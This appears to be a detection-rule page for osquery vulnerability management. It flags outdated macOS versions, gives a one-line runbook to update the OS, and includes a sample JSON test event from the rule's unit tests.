action | eq |
| field:"action" kind:eq value:"added" |
columns.platform | eq |
| field:"columns.platform" kind:eq value:"darwin" |
name | eq |
| field:"name" kind:eq value:"pack_vuln-management_os_version" |
Response runbook
Update the MacOs version
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "added",
"calendarTime": "Tue Sep 11 16:14:21 2018 UTC",
"columns": {
"build_distro": "10.14.2",
"build_platform": "darwin",
"config_hash": "1111",
"config_valid": "1",
"counter": "14",
"extensions": "active",
"global_state": "0",
"instance_id": "1111",
"pid": "223",
"platform": "darwin",
"resident_size": "54894592",
"start_time": "1536634519",
"system_time": "12472",
"user_time": "31800",
"uuid": "37821E12-CC8A-5AA3-A90C-FAB28A5BF8F9",
"version": "Not Supported",
"watcher": "92"
},
"counter": "255",
"decorations": {
"environment": "corp",
"host_uuid": "1111"
},
"epoch": "0",
"hostIdentifier": "test.lan",
"log_type": "result",
"name": "pack_vuln-management_os_version",
"unixTime": "1536682461"
}